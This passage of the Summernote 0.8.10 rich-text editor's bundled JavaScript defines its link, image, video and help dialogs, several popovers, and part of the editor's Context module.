        return $$1.Deferred(function (deferred) {
            var $linkText = _this.$dialog.find('.note-link-text');
            var $linkUrl = _this.$dialog.find('.note-link-url');
            var $linkBtn = _this.$dialog.find('.note-link-btn');
            var $openInNewWindow = _this.$dialog.find('input[type=checkbox]');
            _this.ui.onDialogShown(_this.$dialog, function () {
                _this.context.triggerEvent('dialog.shown');
                // if no url was given, copy text to url
                if (!linkInfo.url) {
                    linkInfo.url = linkInfo.text;
                }
                $linkText.val(linkInfo.text);
                var handleLinkTextUpdate = function () {
                    _this.toggleLinkBtn($linkBtn, $linkText, $linkUrl);
                    // if linktext was modified by keyup,
                    // stop cloning text from linkUrl
                    linkInfo.text = $linkText.val();
                };
                $linkText.on('input', handleLinkTextUpdate).on('paste', function () {
                    setTimeout(handleLinkTextUpdate, 0);
                });
                var handleLinkUrlUpdate = function () {
                    _this.toggleLinkBtn($linkBtn, $linkText, $linkUrl);
                    // display same link on `Text to display` input
                    // when create a new link
                    if (!linkInfo.text) {
                        $linkText.val($linkUrl.val());
                    }
                };
                $linkUrl.on('input', handleLinkUrlUpdate).on('paste', function () {
                    setTimeout(handleLinkUrlUpdate, 0);
                }).val(linkInfo.url);
                if (!env.isSupportTouch) {
                    $linkUrl.trigger('focus');
                }
                _this.toggleLinkBtn($linkBtn, $linkText, $linkUrl);
                _this.bindEnterKey($linkUrl, $linkBtn);
                _this.bindEnterKey($linkText, $linkBtn);
                var isChecked = linkInfo.isNewWindow !== undefined
                    ? linkInfo.isNewWindow : _this.context.options.linkTargetBlank;
                $openInNewWindow.prop('checked', isChecked);
                $linkBtn.one('click', function (event) {
                    event.preventDefault();
                    deferred.resolve({
                        range: linkInfo.range,
                        url: $linkUrl.val(),
                        text: $linkText.val(),
                        isNewWindow: $openInNewWindow.is(':checked')
                    });
                    _this.ui.hideDialog(_this.$dialog);
                });
            });
            _this.ui.onDialogHidden(_this.$dialog, function () {
                // detach events
                $linkText.off('input paste keypress');
                $linkUrl.off('input paste keypress');
                $linkBtn.off('click');
                if (deferred.state() === 'pending') {
                    deferred.reject();
                }
            });
            _this.ui.showDialog(_this.$dialog);
        }).promise();
    };
    /**
     * @param {Object} layoutInfo
     */
    LinkDialog.prototype.show = function () {
        var _this = this;
        var linkInfo = this.context.invoke('editor.getLinkInfo');
        this.context.invoke('editor.saveRange');
        this.showLinkDialog(linkInfo).then(function (linkInfo) {
            _this.context.invoke('editor.restoreRange');
            _this.context.invoke('editor.createLink', linkInfo);
        }).fail(function () {
            _this.context.invoke('editor.restoreRange');
        });
    };
    return LinkDialog;
}());

var LinkPopover = /** @class */ (function () {
    function LinkPopover(context) {
        var _this = this;
        this.context = context;
        this.ui = $$1.summernote.ui;
        this.options = context.options;
        this.events = {
            'summernote.keyup summernote.mouseup summernote.change summernote.scroll': function () {
                _this.update();
            },
            'summernote.disable summernote.dialog.shown': function () {
                _this.hide();
            }
        };
    }
    LinkPopover.prototype.shouldInitialize = function () {
        return !lists.isEmpty(this.options.popover.link);
    };
    LinkPopover.prototype.initialize = function () {
        this.$popover = this.ui.popover({
            className: 'note-link-popover',
            callback: function ($node) {
                var $content = $node.find('.popover-content,.note-popover-content');
                $content.prepend('<span><a target="_blank"></a>&nbsp;</span>');
            }
        }).render().appendTo(this.options.container);
        var $content = this.$popover.find('.popover-content,.note-popover-content');
        this.context.invoke('buttons.build', $content, this.options.popover.link);
    };
    LinkPopover.prototype.destroy = function () {
        this.$popover.remove();
    };
    LinkPopover.prototype.update = function () {
        // Prevent focusing on editable when invoke('code') is executed
        if (!this.context.invoke('editor.hasFocus')) {
            this.hide();
            return;
        }
        var rng = this.context.invoke('editor.createRange');
        if (rng.isCollapsed() && rng.isOnAnchor()) {
            var anchor = dom.ancestor(rng.sc, dom.isAnchor);
            var href = $$1(anchor).attr('href');
            this.$popover.find('a').attr('href', href).html(href);
            var pos = dom.posFromPlaceholder(anchor);
            this.$popover.css({
                display: 'block',
                left: pos.left,
                top: pos.top
            });
        }
        else {
            this.hide();
        }
    };
    LinkPopover.prototype.hide = function () {
        this.$popover.hide();
    };
    return LinkPopover;
}());

var ImageDialog = /** @class */ (function () {
    function ImageDialog(context) {
        this.context = context;
        this.ui = $$1.summernote.ui;
        this.$body = $$1(document.body);
        this.$editor = context.layoutInfo.editor;
        this.options = context.options;
        this.lang = this.options.langInfo;
    }
    ImageDialog.prototype.initialize = function () {
        var $container = this.options.dialogsInBody ? this.$body : this.$editor;
        var imageLimitation = '';
        if (this.options.maximumImageFileSize) {
            var unit = Math.floor(Math.log(this.options.maximumImageFileSize) / Math.log(1024));
            var readableSize = (this.options.maximumImageFileSize / Math.pow(1024, unit)).toFixed(2) * 1 +
                ' ' + ' KMGTP'[unit] + 'B';
            imageLimitation = "<small>" + (this.lang.image.maximumFileSize + ' : ' + readableSize) + "</small>";
        }
        var body = [
            '<div class="form-group note-form-group note-group-select-from-files">',
            '<label class="note-form-label">' + this.lang.image.selectFromFiles + '</label>',
            '<input class="note-image-input note-form-control note-input" ',
            ' type="file" name="files" accept="image/*" multiple="multiple" />',
            imageLimitation,
            '</div>',
            '<div class="form-group note-group-image-url" style="overflow:auto;">',
            '<label class="note-form-label">' + this.lang.image.url + '</label>',
            '<input class="note-image-url form-control note-form-control note-input ',
            ' col-md-12" type="text" />',
            '</div>'
        ].join('');
        var buttonClass = 'btn btn-primary note-btn note-btn-primary note-image-btn';
        var footer = "<button type=\"submit\" href=\"#\" class=\"" + buttonClass + "\" disabled>" + this.lang.image.insert + "</button>";
        this.$dialog = this.ui.dialog({
            title: this.lang.image.insert,
            fade: this.options.dialogsFade,
            body: body,
            footer: footer
        }).render().appendTo($container);
    };
    ImageDialog.prototype.destroy = function () {
        this.ui.hideDialog(this.$dialog);
        this.$dialog.remove();
    };
    ImageDialog.prototype.bindEnterKey = function ($input, $btn) {
        $input.on('keypress', function (event) {
            if (event.keyCode === key.code.ENTER) {
                event.preventDefault();
                $btn.trigger('click');
            }
        });
    };
    ImageDialog.prototype.show = function () {
        var _this = this;
        this.context.invoke('editor.saveRange');
        this.showImageDialog().then(function (data) {
            // [workaround] hide dialog before restore range for IE range focus
            _this.ui.hideDialog(_this.$dialog);
            _this.context.invoke('editor.restoreRange');
            if (typeof data === 'string') {
                _this.context.invoke('editor.insertImage', data);
            }
            else {
                _this.context.invoke('editor.insertImagesOrCallback', data);
            }
        }).fail(function () {
            _this.context.invoke('editor.restoreRange');
        });
    };
    /**
     * show image dialog
     *
     * @param {jQuery} $dialog
     * @return {Promise}
     */
    ImageDialog.prototype.showImageDialog = function () {
        var _this = this;
        return $$1.Deferred(function (deferred) {
            var $imageInput = _this.$dialog.find('.note-image-input');
            var $imageUrl = _this.$dialog.find('.note-image-url');
            var $imageBtn = _this.$dialog.find('.note-image-btn');
            _this.ui.onDialogShown(_this.$dialog, function () {
                _this.context.triggerEvent('dialog.shown');
                // Cloning imageInput to clear element.
                $imageInput.replaceWith($imageInput.clone().on('change', function (event) {
                    deferred.resolve(event.target.files || event.target.value);
                }).val(''));
                $imageBtn.click(function (event) {
                    event.preventDefault();
                    deferred.resolve($imageUrl.val());
                });
                $imageUrl.on('keyup paste', function () {
                    var url = $imageUrl.val();
                    _this.ui.toggleBtn($imageBtn, url);
                }).val('');
                if (!env.isSupportTouch) {
                    $imageUrl.trigger('focus');
                }
                _this.bindEnterKey($imageUrl, $imageBtn);
            });
            _this.ui.onDialogHidden(_this.$dialog, function () {
                $imageInput.off('change');
                $imageUrl.off('keyup paste keypress');
                $imageBtn.off('click');
                if (deferred.state() === 'pending') {
                    deferred.reject();
                }
            });
            _this.ui.showDialog(_this.$dialog);
        });
    };
    return ImageDialog;
}());

/**
 * Image popover module
 *  mouse events that show/hide popover will be handled by Handle.js.
 *  Handle.js will receive the events and invoke 'imagePopover.update'.
 */
var ImagePopover = /** @class */ (function () {
    function ImagePopover(context) {
        var _this = this;
        this.context = context;
        this.ui = $$1.summernote.ui;
        this.editable = context.layoutInfo.editable[0];
        this.options = context.options;
        this.events = {
            'summernote.disable': function () {
                _this.hide();
            }
        };
    }
    ImagePopover.prototype.shouldInitialize = function () {
        return !lists.isEmpty(this.options.popover.image);
    };
    ImagePopover.prototype.initialize = function () {
        this.$popover = this.ui.popover({
            className: 'note-image-popover'
        }).render().appendTo(this.options.container);
        var $content = this.$popover.find('.popover-content,.note-popover-content');
        this.context.invoke('buttons.build', $content, this.options.popover.image);
    };
    ImagePopover.prototype.destroy = function () {
        this.$popover.remove();
    };
    ImagePopover.prototype.update = function (target) {
        if (dom.isImg(target)) {
            var pos = dom.posFromPlaceholder(target);
            var posEditor = dom.posFromPlaceholder(this.editable);
            this.$popover.css({
                display: 'block',
                left: this.options.popatmouse ? event.pageX - 20 : pos.left,
                top: this.options.popatmouse ? event.pageY : Math.min(pos.top, posEditor.top)
            });
        }
        else {
            this.hide();
        }
    };
    ImagePopover.prototype.hide = function () {
        this.$popover.hide();
    };
    return ImagePopover;
}());

var TablePopover = /** @class */ (function () {
    function TablePopover(context) {
        var _this = this;
        this.context = context;
        this.ui = $$1.summernote.ui;
        this.options = context.options;
        this.events = {
            'summernote.mousedown': function (we, e) {
                _this.update(e.target);
            },
            'summernote.keyup summernote.scroll summernote.change': function () {
                _this.update();
            },
            'summernote.disable': function () {
                _this.hide();
            }
        };
    }
    TablePopover.prototype.shouldInitialize = function () {
        return !lists.isEmpty(this.options.popover.table);
    };
    TablePopover.prototype.initialize = function () {
        this.$popover = this.ui.popover({
            className: 'note-table-popover'
        }).render().appendTo(this.options.container);
        var $content = this.$popover.find('.popover-content,.note-popover-content');
        this.context.invoke('buttons.build', $content, this.options.popover.table);
        // [workaround] Disable Firefox's default table editor
        if (env.isFF) {
            document.execCommand('enableInlineTableEditing', false, false);
        }
    };
    TablePopover.prototype.destroy = function () {
        this.$popover.remove();
    };
    TablePopover.prototype.update = function (target) {
        if (this.context.isDisabled()) {
            return false;
        }
        var isCell = dom.isCell(target);
        if (isCell) {
            var pos = dom.posFromPlaceholder(target);
            this.$popover.css({
                display: 'block',
                left: pos.left,
                top: pos.top
            });
        }
        else {
            this.hide();
        }
        return isCell;
    };
    TablePopover.prototype.hide = function () {
        this.$popover.hide();
    };
    return TablePopover;
}());

var VideoDialog = /** @class */ (function () {
    function VideoDialog(context) {
        this.context = context;
        this.ui = $$1.summernote.ui;
        this.$body = $$1(document.body);
        this.$editor = context.layoutInfo.editor;
        this.options = context.options;
        this.lang = this.options.langInfo;
    }
    VideoDialog.prototype.initialize = function () {
        var $container = this.options.dialogsInBody ? this.$body : this.$editor;
        var body = [
            '<div class="form-group note-form-group row-fluid">',
            "<label class=\"note-form-label\">" + this.lang.video.url + " <small class=\"text-muted\">" + this.lang.video.providers + "</small></label>",
            '<input class="note-video-url form-control note-form-control note-input" type="text" />',
            '</div>'
        ].join('');
        var buttonClass = 'btn btn-primary note-btn note-btn-primary note-video-btn';
        var footer = "<button type=\"submit\" href=\"#\" class=\"" + buttonClass + "\" disabled>" + this.lang.video.insert + "</button>";
        this.$dialog = this.ui.dialog({
            title: this.lang.video.insert,
            fade: this.options.dialogsFade,
            body: body,
            footer: footer
        }).render().appendTo($container);
    };
    VideoDialog.prototype.destroy = function () {
        this.ui.hideDialog(this.$dialog);
        this.$dialog.remove();
    };
    VideoDialog.prototype.bindEnterKey = function ($input, $btn) {
        $input.on('keypress', function (event) {
            if (event.keyCode === key.code.ENTER) {
                event.preventDefault();
                $btn.trigger('click');
            }
        });
    };
    VideoDialog.prototype.createVideoNode = function (url) {
        // video url patterns(youtube, instagram, vimeo, dailymotion, youku, mp4, ogg, webm)
        var ytRegExp = /^(?:https?:\/\/)?(?:www\.)?(?:youtu\.be\/|youtube\.com\/(?:embed\/|v\/|watch\?v=|watch\?.+&v=))((\w|-){11})(?:\S+)?$/;
        var ytMatch = url.match(ytRegExp);
        var igRegExp = /(?:www\.|\/\/)instagram\.com\/p\/(.[a-zA-Z0-9_-]*)/;
        var igMatch = url.match(igRegExp);
        var vRegExp = /\/\/vine\.co\/v\/([a-zA-Z0-9]+)/;
        var vMatch = url.match(vRegExp);
        var vimRegExp = /\/\/(player\.)?vimeo\.com\/([a-z]*\/)*(\d+)[?]?.*/;
        var vimMatch = url.match(vimRegExp);
        var dmRegExp = /.+dailymotion.com\/(video|hub)\/([^_]+)[^#]*(#video=([^_&]+))?/;
        var dmMatch = url.match(dmRegExp);
        var youkuRegExp = /\/\/v\.youku\.com\/v_show\/id_(\w+)=*\.html/;
        var youkuMatch = url.match(youkuRegExp);
        var qqRegExp = /\/\/v\.qq\.com.*?vid=(.+)/;
        var qqMatch = url.match(qqRegExp);
        var qqRegExp2 = /\/\/v\.qq\.com\/x?\/?(page|cover).*?\/([^\/]+)\.html\??.*/;
        var qqMatch2 = url.match(qqRegExp2);
        var mp4RegExp = /^.+.(mp4|m4v)$/;
        var mp4Match = url.match(mp4RegExp);
        var oggRegExp = /^.+.(ogg|ogv)$/;
        var oggMatch = url.match(oggRegExp);
        var webmRegExp = /^.+.(webm)$/;
        var webmMatch = url.match(webmRegExp);
        var $video;
        if (ytMatch && ytMatch[1].length === 11) {
            var youtubeId = ytMatch[1];
            $video = $$1('<iframe>')
                .attr('frameborder', 0)
                .attr('src', '//www.youtube.com/embed/' + youtubeId)
                .attr('width', '640').attr('height', '360');
        }
        else if (igMatch && igMatch[0].length) {
            $video = $$1('<iframe>')
                .attr('frameborder', 0)
                .attr('src', 'https://instagram.com/p/' + igMatch[1] + '/embed/')
                .attr('width', '612').attr('height', '710')
                .attr('scrolling', 'no')
                .attr('allowtransparency', 'true');
        }
        else if (vMatch && vMatch[0].length) {
            $video = $$1('<iframe>')
                .attr('frameborder', 0)
                .attr('src', vMatch[0] + '/embed/simple')
                .attr('width', '600').attr('height', '600')
                .attr('class', 'vine-embed');
        }
        else if (vimMatch && vimMatch[3].length) {
            $video = $$1('<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>')
                .attr('frameborder', 0)
                .attr('src', '//player.vimeo.com/video/' + vimMatch[3])
                .attr('width', '640').attr('height', '360');
        }
        else if (dmMatch && dmMatch[2].length) {
            $video = $$1('<iframe>')
                .attr('frameborder', 0)
                .attr('src', '//www.dailymotion.com/embed/video/' + dmMatch[2])
                .attr('width', '640').attr('height', '360');
        }
        else if (youkuMatch && youkuMatch[1].length) {
            $video = $$1('<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>')
                .attr('frameborder', 0)
                .attr('height', '498')
                .attr('width', '510')
                .attr('src', '//player.youku.com/embed/' + youkuMatch[1]);
        }
        else if ((qqMatch && qqMatch[1].length) || (qqMatch2 && qqMatch2[2].length)) {
            var vid = ((qqMatch && qqMatch[1].length) ? qqMatch[1] : qqMatch2[2]);
            $video = $$1('<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>')
                .attr('frameborder', 0)
                .attr('height', '310')
                .attr('width', '500')
                .attr('src', 'http://v.qq.com/iframe/player.html?vid=' + vid + '&amp;auto=0');
        }
        else if (mp4Match || oggMatch || webmMatch) {
            $video = $$1('<video controls>')
                .attr('src', url)
                .attr('width', '640').attr('height', '360');
        }
        else {
            // this is not a known video link. Now what, Cat? Now what?
            return false;
        }
        $video.addClass('note-video-clip');
        return $video[0];
    };
    VideoDialog.prototype.show = function () {
        var _this = this;
        var text = this.context.invoke('editor.getSelectedText');
        this.context.invoke('editor.saveRange');
        this.showVideoDialog(text).then(function (url) {
            // [workaround] hide dialog before restore range for IE range focus
            _this.ui.hideDialog(_this.$dialog);
            _this.context.invoke('editor.restoreRange');
            // build node
            var $node = _this.createVideoNode(url);
            if ($node) {
                // insert video node
                _this.context.invoke('editor.insertNode', $node);
            }
        }).fail(function () {
            _this.context.invoke('editor.restoreRange');
        });
    };
    /**
     * show image dialog
     *
     * @param {jQuery} $dialog
     * @return {Promise}
     */
    VideoDialog.prototype.showVideoDialog = function (text) {
        var _this = this;
        return $$1.Deferred(function (deferred) {
            var $videoUrl = _this.$dialog.find('.note-video-url');
            var $videoBtn = _this.$dialog.find('.note-video-btn');
            _this.ui.onDialogShown(_this.$dialog, function () {
                _this.context.triggerEvent('dialog.shown');
                $videoUrl.val(text).on('input', function () {
                    _this.ui.toggleBtn($videoBtn, $videoUrl.val());
                });
                if (!env.isSupportTouch) {
                    $videoUrl.trigger('focus');
                }
                $videoBtn.click(function (event) {
                    event.preventDefault();
                    deferred.resolve($videoUrl.val());
                });
                _this.bindEnterKey($videoUrl, $videoBtn);
            });
            _this.ui.onDialogHidden(_this.$dialog, function () {
                $videoUrl.off('input');
                $videoBtn.off('click');
                if (deferred.state() === 'pending') {
                    deferred.reject();
                }
            });
            _this.ui.showDialog(_this.$dialog);
        });
    };
    return VideoDialog;
}());

var HelpDialog = /** @class */ (function () {
    function HelpDialog(context) {
        this.context = context;
        this.ui = $$1.summernote.ui;
        this.$body = $$1(document.body);
        this.$editor = context.layoutInfo.editor;
        this.options = context.options;
        this.lang = this.options.langInfo;
    }
    HelpDialog.prototype.initialize = function () {
        var $container = this.options.dialogsInBody ? this.$body : this.$editor;
        var body = [
            '<p class="text-center">',
            '<a href="http://summernote.org/" target="_blank">Summernote 0.8.10</a> · ',
            '<a href="https://github.com/summernote/summernote" target="_blank">Project</a> · ',
            '<a href="https://github.com/summernote/summernote/issues" target="_blank">Issues</a>',
            '</p>'
        ].join('');
        this.$dialog = this.ui.dialog({
            title: this.lang.options.help,
            fade: this.options.dialogsFade,
            body: this.createShortcutList(),
            footer: body,
            callback: function ($node) {
                $node.find('.modal-body,.note-modal-body').css({
                    'max-height': 300,
                    'overflow': 'scroll'
                });
            }
        }).render().appendTo($container);
    };
    HelpDialog.prototype.destroy = function () {
        this.ui.hideDialog(this.$dialog);
        this.$dialog.remove();
    };
    HelpDialog.prototype.createShortcutList = function () {
        var _this = this;
        var keyMap = this.options.keyMap[env.isMac ? 'mac' : 'pc'];
        return Object.keys(keyMap).map(function (key) {
            var command = keyMap[key];
            var $row = $$1('<div><div class="help-list-item"/></div>');
            $row.append($$1('<label><kbd>' + key + '</kdb></label>').css({
                'width': 180,
                'margin-right': 10
            })).append($$1('<span/>').html(_this.context.memo('help.' + command) || command));
            return $row.html();
        }).join('');
    };
    /**
     * show help dialog
     *
     * @return {Promise}
     */
    HelpDialog.prototype.showHelpDialog = function () {
        var _this = this;
        return $$1.Deferred(function (deferred) {
            _this.ui.onDialogShown(_this.$dialog, function () {
                _this.context.triggerEvent('dialog.shown');
                deferred.resolve();
            });
            _this.ui.showDialog(_this.$dialog);
        }).promise();
    };
    HelpDialog.prototype.show = function () {
        var _this = this;
        this.context.invoke('editor.saveRange');
        this.showHelpDialog().then(function () {
            _this.context.invoke('editor.restoreRange');
        });
    };
    return HelpDialog;
}());

var AIR_MODE_POPOVER_X_OFFSET = 20;
var AirPopover = /** @class */ (function () {
    function AirPopover(context) {
        var _this = this;
        this.context = context;
        this.ui = $$1.summernote.ui;
        this.options = context.options;
        this.events = {
            'summernote.keyup summernote.mouseup summernote.scroll': function () {
                _this.update();
            },
            'summernote.disable summernote.change summernote.dialog.shown': function () {
                _this.hide();
            },
            'summernote.focusout': function (we, e) {
                // [workaround] Firefox doesn't support relatedTarget on focusout
                //  - Ignore hide action on focus out in FF.
                if (env.isFF) {
                    return;
                }
                if (!e.relatedTarget || !dom.ancestor(e.relatedTarget, func.eq(_this.$popover[0]))) {
                    _this.hide();
                }
            }
        };
    }
    AirPopover.prototype.shouldInitialize = function () {
        return this.options.airMode && !lists.isEmpty(this.options.popover.air);
    };
    AirPopover.prototype.initialize = function () {
        this.$popover = this.ui.popover({
            className: 'note-air-popover'
        }).render().appendTo(this.options.container);
        var $content = this.$popover.find('.popover-content');
        this.context.invoke('buttons.build', $content, this.options.popover.air);
    };
    AirPopover.prototype.destroy = function () {
        this.$popover.remove();
    };
    AirPopover.prototype.update = function () {
        var styleInfo = this.context.invoke('editor.currentStyle');
        if (styleInfo.range && !styleInfo.range.isCollapsed()) {
            var rect = lists.last(styleInfo.range.getClientRects());
            if (rect) {
                var bnd = func.rect2bnd(rect);
                this.$popover.css({
                    display: 'block',
                    left: Math.max(bnd.left + bnd.width / 2, 0) - AIR_MODE_POPOVER_X_OFFSET,
                    top: bnd.top + bnd.height
                });
                this.context.invoke('buttons.updateCurrentStyle', this.$popover);
            }
        }
        else {
            this.hide();
        }
    };
    AirPopover.prototype.hide = function () {
        this.$popover.hide();
    };
    return AirPopover;
}());

var POPOVER_DIST = 5;
var HintPopover = /** @class */ (function () {
    function HintPopover(context) {
        var _this = this;
        this.context = context;
        this.ui = $$1.summernote.ui;
        this.$editable = context.layoutInfo.editable;
        this.options = context.options;
        this.hint = this.options.hint || [];
        this.direction = this.options.hintDirection || 'bottom';
        this.hints = $$1.isArray(this.hint) ? this.hint : [this.hint];
        this.events = {
            'summernote.keyup': function (we, e) {
                if (!e.isDefaultPrevented()) {
                    _this.handleKeyup(e);
                }
            },
            'summernote.keydown': function (we, e) {
                _this.handleKeydown(e);
            },
            'summernote.disable summernote.dialog.shown': function () {
                _this.hide();
            }
        };
    }
    HintPopover.prototype.shouldInitialize = function () {
        return this.hints.length > 0;
    };
    HintPopover.prototype.initialize = function () {
        var _this = this;
        this.lastWordRange = null;
        this.$popover = this.ui.popover({
            className: 'note-hint-popover',
            hideArrow: true,
            direction: ''
        }).render().appendTo(this.options.container);
        this.$popover.hide();
        this.$content = this.$popover.find('.popover-content,.note-popover-content');
        this.$content.on('click', '.note-hint-item', function () {
            _this.$content.find('.active').removeClass('active');
            $$1(_this).addClass('active');
            _this.replace();
        });
    };
    HintPopover.prototype.destroy = function () {
        this.$popover.remove();
    };
    HintPopover.prototype.selectItem = function ($item) {
        this.$content.find('.active').removeClass('active');
        $item.addClass('active');
        this.$content[0].scrollTop = $item[0].offsetTop - (this.$content.innerHeight() / 2);
    };
    HintPopover.prototype.moveDown = function () {
        var $current = this.$content.find('.note-hint-item.active');
        var $next = $current.next();
        if ($next.length) {
            this.selectItem($next);
        }
        else {
            var $nextGroup = $current.parent().next();
            if (!$nextGroup.length) {
                $nextGroup = this.$content.find('.note-hint-group').first();
            }
            this.selectItem($nextGroup.find('.note-hint-item').first());
        }
    };
    HintPopover.prototype.moveUp = function () {
        var $current = this.$content.find('.note-hint-item.active');
        var $prev = $current.prev();
        if ($prev.length) {
            this.selectItem($prev);
        }
        else {
            var $prevGroup = $current.parent().prev();
            if (!$prevGroup.length) {
                $prevGroup = this.$content.find('.note-hint-group').last();
            }
            this.selectItem($prevGroup.find('.note-hint-item').last());
        }
    };
    HintPopover.prototype.replace = function () {
        var $item = this.$content.find('.note-hint-item.active');
        if ($item.length) {
            var node = this.nodeFromItem($item);
            // XXX: consider to move codes to editor for recording redo/undo.
            this.lastWordRange.insertNode(node);
            range.createFromNode(node).collapse().select();
            this.lastWordRange = null;
            this.hide();
            this.context.triggerEvent('change', this.$editable.html(), this.$editable[0]);
            this.context.invoke('editor.focus');
        }
    };
    HintPopover.prototype.nodeFromItem = function ($item) {
        var hint = this.hints[$item.data('index')];
        var item = $item.data('item');
        var node = hint.content ? hint.content(item) : item;
        if (typeof node === 'string') {
            node = dom.createText(node);
        }
        return node;
    };
    HintPopover.prototype.createItemTemplates = function (hintIdx, items) {
        var hint = this.hints[hintIdx];
        return items.map(function (item, idx) {
            var $item = $$1('<div class="note-hint-item"/>');
            $item.append(hint.template ? hint.template(item) : item + '');
            $item.data({
                'index': hintIdx,
                'item': item
            });
            return $item;
        });
    };
    HintPopover.prototype.handleKeydown = function (e) {
        if (!this.$popover.is(':visible')) {
            return;
        }
        if (e.keyCode === key.code.ENTER) {
            e.preventDefault();
            this.replace();
        }
        else if (e.keyCode === key.code.UP) {
            e.preventDefault();
            this.moveUp();
        }
        else if (e.keyCode === key.code.DOWN) {
            e.preventDefault();
            this.moveDown();
        }
    };
    HintPopover.prototype.searchKeyword = function (index, keyword, callback) {
        var hint = this.hints[index];
        if (hint && hint.match.test(keyword) && hint.search) {
            var matches = hint.match.exec(keyword);
            hint.search(matches[1], callback);
        }
        else {
            callback();
        }
    };
    HintPopover.prototype.createGroup = function (idx, keyword) {
        var _this = this;
        var $group = $$1('<div class="note-hint-group note-hint-group-' + idx + '"/>');
        this.searchKeyword(idx, keyword, function (items) {
            items = items || [];
            if (items.length) {
                $group.html(_this.createItemTemplates(idx, items));
                _this.show();
            }
        });
        return $group;
    };
    HintPopover.prototype.handleKeyup = function (e) {
        var _this = this;
        if (!lists.contains([key.code.ENTER, key.code.UP, key.code.DOWN], e.keyCode)) {
            var wordRange = this.context.invoke('editor.createRange').getWordRange();
            var keyword_1 = wordRange.toString();
            if (this.hints.length && keyword_1) {
                this.$content.empty();
                var bnd = func.rect2bnd(lists.last(wordRange.getClientRects()));
                if (bnd) {
                    this.$popover.hide();
                    this.lastWordRange = wordRange;
                    this.hints.forEach(function (hint, idx) {
                        if (hint.match.test(keyword_1)) {
                            _this.createGroup(idx, keyword_1).appendTo(_this.$content);
                        }
                    });
                    // select first .note-hint-item
                    this.$content.find('.note-hint-item:first').addClass('active');
                    // set position for popover after group is created
                    if (this.direction === 'top') {
                        this.$popover.css({
                            left: bnd.left,
                            top: bnd.top - this.$popover.outerHeight() - POPOVER_DIST
                        });
                    }
                    else {
                        this.$popover.css({
                            left: bnd.left,
                            top: bnd.top + bnd.height + POPOVER_DIST
                        });
                    }
                }
            }
            else {
                this.hide();
            }
        }
    };
    HintPopover.prototype.show = function () {
        this.$popover.show();
    };
    HintPopover.prototype.hide = function () {
        this.$popover.hide();
    };
    return HintPopover;
}());

var Context = /** @class */ (function () {
    /**
     * @param {jQuery} $note
     * @param {Object} options
     */
    function Context($note, options) {
        this.ui = $$1.summernote.ui;
        this.$note = $note;
        this.memos = {};
        this.modules = {};
        this.layoutInfo = {};
        this.options = options;
        this.initialize();
    }
    /**
     * create layout and initialize modules and other resources
     */
    Context.prototype.initialize = function () {
        this.layoutInfo = this.ui.createLayout(this.$note, this.options);
        this._initialize();
        this.$note.hide();
        return this;
    };
    /**
     * destroy modules and other resources and remove layout
     */
    Context.prototype.destroy = function () {
        this._destroy();
        this.$note.removeData('summernote');
        this.ui.removeLayout(this.$note, this.layoutInfo);
    };
    /**
     * destory modules and other resources and initialize it again
     */
    Context.prototype.reset = function () {
        var disabled = this.isDisabled();
        this.code(dom.emptyPara);
        this._destroy();
        this._initialize();
        if (disabled) {
            this.disable();
        }
    };
    Context.prototype._initialize = function () {
        var _this = this;
        // add optional buttons
        var buttons = $$1.extend({}, this.options.buttons);
        Object.keys(buttons).forEach(function (key) {
            _this.memo('button.' + key, buttons[key]);
        });
        var modules = $$1.extend({}, this.options.modules, $$1.summernote.plugins || {});
        // add and initialize modules
        Object.keys(modules).forEach(function (key) {
            _this.module(key, modules[key], true);
        });
        Object.keys(this.modules).forEach(function (key) {
            _this.initializeModule(key);
        });
    };
    Context.prototype._destroy = function () {
        var _this = this;
        // destroy modules with reversed order
        Object.keys(this.modules).reverse().forEach(function (key) {
            _this.removeModule(key);
        });
        Object.keys(this.memos).forEach(function (key) {
            _this.removeMemo(key);
        });
        // trigger custom onDestroy callback
        this.triggerEvent('destroy', this);
    };
    Context.prototype.code = function (html) {
        var isActivated = this.invoke('codeview.isActivated');
        if (html === undefined) {
            this.invoke('codeview.sync');
            return isActivated ? this.layoutInfo.codable.val() : this.layoutInfo.editable.html();
        }
        else {
            if (isActivated) {
                this.layoutInfo.codable.val(html);
            }
            else {
                this.layoutInfo.editable.html(html);
            }
            this.$note.val(html);
            this.triggerEvent('change', html);
        }
    };
    Context.prototype.isDisabled = function () {
        return this.layoutInfo.editable.attr('contenteditable') === 'false';
    };
    Context.prototype.enable = function () {
        this.layoutInfo.editable.attr('contenteditable', true);
        this.invoke('toolbar.activate', true);
        this.triggerEvent('disable', false);
    };
    Context.prototype.disable = function () {
        // close codeview if codeview is opend
        if (this.invoke('codeview.isActivated')) {
            this.invoke('codeview.deactivate');
        }
        this.layoutInfo.editable.attr('contenteditable', false);
        this.invoke('toolbar.deactivate', true);
        this.triggerEvent('disable', true);
    };
    Context.prototype.triggerEvent = function () {
        var namespace = lists.head(arguments);
        var args = lists.tail(lists.from(arguments));
        var callback = this.options.callbacks[func.namespaceToCamel(namespace, 'on')];
        if (callback) {
            callback.apply(this.$note[0], args);
        }
        this.$note.trigger('summernote.' + namespace, args);
    };
    Context.prototype.initializeModule = function (key) {
        var module = this.modules[key];
        module.shouldInitialize = module.shouldInitialize || func.ok;
        if (!module.shouldInitialize()) {
            return;
        }
        // initialize module
        if (module.initialize) {
            module.initialize();
        }
        // attach events
        if (module.events) {
            dom.attachEvents(this.$note, module.events);
        }
    };
    Context.prototype.module = function (key, ModuleClass, withoutIntialize) {
        if (arguments.length === 1) {
            return this.modules[key];
        }
        this.modules[key] = new ModuleClass(this);
        if (!withoutIntialize) {
            this.initializeModule(key);
        }
    };
    Context.prototype.removeModule = function (key) {
        var module = this.modules[key];
        if (module.shouldInitialize()) {
            if (module.events) {
                dom.detachEvents(this.$note, module.events);
            }
            if (module.destroy) {
                module.destroy();
            }
        }
        delete this.modules[key];
    };
    Context.prototype.memo = function (key, obj) {
        if (arguments.length === 1) {
            return this.memos[key];
        }
        this.memos[key] = obj;
    };
    Context.prototype.removeMemo = function (key) {
        if (this.memos[key] && this.memos[key].destroy) {
            this.memos[key].destroy();
        }
        delete this.memos[key];
    };
    /**
     * Some buttons need to change their visual style immediately once they get pressed
     */
    Context.prototype.createInvokeHandlerAndUpdateState = function (namespace, value) {
        var _this = this;
        return function (event) {
            _this.createInvokeHandler(namespace, value)(event);
            _this.invoke('buttons.updateCurrentStyle');
        };
    };
    Context.prototype.createInvokeHandler = function (namespace, value) {
        var _this = this;
